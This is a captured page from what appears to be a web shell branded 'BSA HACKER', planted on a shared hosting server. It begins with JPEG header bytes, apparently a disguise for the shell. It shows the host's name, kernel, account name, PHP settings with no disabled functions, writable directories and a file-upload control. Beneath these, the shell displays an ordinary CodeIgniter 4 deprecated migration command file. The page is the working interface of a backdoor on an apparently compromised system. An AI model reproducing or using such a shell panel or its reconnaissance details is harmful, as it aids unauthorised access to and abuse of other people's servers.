ÿØÿàJFIFHHÿá .
BSA HACKER
Logo of a company Server : Apache
System : Linux nusantara.hosteko.com 4.18.0-553.16.1.lve.el8.x86_64 #1 SMP Tue Aug 13 17:45:03 UTC 2024 x86_64
User : koperas1 ( 1254)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /home/koperas1/www/system/Commands/Generators/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/koperas1/www/system/Commands/Generators/MigrateCreate.php
<?php

/**
 * This file is part of CodeIgniter 4 framework.
 *
 * (c) CodeIgniter Foundation <admin@codeigniter.com>
 *
 * For the full copyright and license information, please view
 * the LICENSE file that was distributed with this source code.
 */

namespace CodeIgniter\Commands\Generators;

use CodeIgniter\CLI\BaseCommand;
use CodeIgniter\CLI\CLI;

/**
 * Deprecated class for the migration creation command.
 *
 * @deprecated Use make:migration instead.
 *
 * @codeCoverageIgnore
 */
class MigrateCreate extends BaseCommand
{
    /**
     * The group the command is lumped under
     * when listing commands.
     *
     * @var string
     */
    protected $group = 'Generators';

    /**
     * The Command's name
     *
     * @var string
     */
    protected $name = 'migrate:create';

    /**
     * The Command's short description
     *
     * @var string
     */
    protected $description = '[DEPRECATED] Creates a new migration file. Please use "make:migration" instead.';

    /**
     * The Command's usage
     *
     * @var string
     */
    protected $usage = 'migrate:create <name> [options]';

    /**
     * The Command's arguments.
     *
     * @var array
     */
    protected $arguments = [
        'name' => 'The migration file name.',
    ];

    /**
     * The Command's options.
     *
     * @var array
     */
    protected $options = [
        '--namespace' => 'Set root namespace. Defaults to APP_NAMESPACE',
        '--force'     => 'Force overwrite existing files.',
    ];

    /**
     * Actually execute a command.
     */
    public function run(array $params)
    {
        // Resolve arguments before passing to make:migration
        $params[0] = $params[0] ?? CLI::getSegment(2);

        $params['namespace'] = $params['namespace'] ?? CLI::getOption('namespace') ?? APP_NAMESPACE;

        if (array_key_exists('force', $params) || CLI::getOption('force')) {
            $params['force'] = null;
        }

        $this->call('make:migration', $params);
    }
}